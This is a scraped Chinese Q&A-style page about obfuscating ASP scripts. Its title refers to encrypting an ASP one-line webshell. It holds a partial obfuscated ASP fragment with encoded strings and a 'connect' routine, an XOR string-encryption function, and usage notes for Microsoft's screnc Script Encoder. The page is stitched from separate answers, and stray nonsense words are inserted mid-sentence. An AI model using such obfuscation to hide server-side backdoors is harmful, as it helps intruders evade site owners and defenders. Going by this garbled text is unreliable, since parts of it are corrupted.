加密asp一句話

A. asp代碼加密 解密

這是一部分文件，只解這部分，可能不一定行，解密代碼如下：
Dim rsp,se,app,sr
Set rsp=Response:Set se=Session:Set app=Application:Set sr=Server
Set a = New newClass
a.di = Response("fd]hg]`eg]dh")
a.filename = Request.ServerVariables(Response("$4C:AE0}2>6"))
a.csvalue = Response("G:56@")
a.cachefile = Response("^42496")
a.connect
Class newClass
Public aa,di,bb,filename,csvalue,cachefile
Private cc,dd,ee,ff,gg,hh,ii
Private Sub Class_Initialize
cc = ""
filename = Response(":?56I]2DA")
csvalue = Response("A286")
dd = Request.ServerVariables(Response("$t#")&Response("'t#0$~u%")&Response("(p#t"))
aa = Response("`af]_]_]`")
di = Response("`af]_]_]`")
bb = ""
hh = Request.ServerVariables(Response("w%%!0w~$%"))
cachefile = Response("^42496")
ii = abcd()
End Sub

B. ASP字元串加密解密

<%
'ASP 字元串加密函數EncryptText()
'strEncryptionKey:加密key字元串，用以區別不同模塊加密演算法
'strTextToEncrypt:欲加密字元串
Function EncryptText(ByVal strEncryptionKey, ByVal strTextToEncrypt)
Dim outer, inner, Key, strTemp
For outer = 1 To Len(strEncryptionKey)
key = Asc(Mid(strEncryptionKey, outer, 1))
For inner = 1 To Len(strTextToEncrypt)
strTemp = strTemp & Chr(Asc(Mid(strTextToEncrypt, inner, 1)) Xor key)
key = (key + Len(strEncryptionKey)) Mod 256
Next
strTextToEncrypt = strTemp
strTemp = ""
Next
EncryptText = strTextToEncrypt
End Function

response.write EncryptText("mima","zifuchuan")
%>

C. 如何使用「script encoder」加密ASP文件詳細方法是什麼

操作簡單。只要掌握幾個命令行參數即可。基信和Script Encoder的運行程序是screnc.exe，其使用方法如下：
screnc [/s] [/f] [/xl] [/l defLanguage ] [/e defExtension] inputfile outputfile
其中的參數含義如下：
s：屏蔽屏幕輸出；
f：指定輸出文件是否覆蓋同名輸入文件；
xl：是否在.asp文件的頂部添加@Language指令；
l：defLanguag指定預設的腳本語言；
e：defExtension 指定待加密文件的擴展名。
3. 可以批量搏盯加密文件。使用Script Encoder可以對當前目錄中的所有的ASP 文件進行加密，並把加密後的文件統一輸出到相應的目錄中。
例如： screnc ＊.asp c:\temp
4. Script Encoder是免費軟體。該加密軟體可以從微軟網站下載：http://msdn.microsoft.com/scripting/vbscript/download/x86/sce10en.exe。下載後，運行安裝即可。坦雀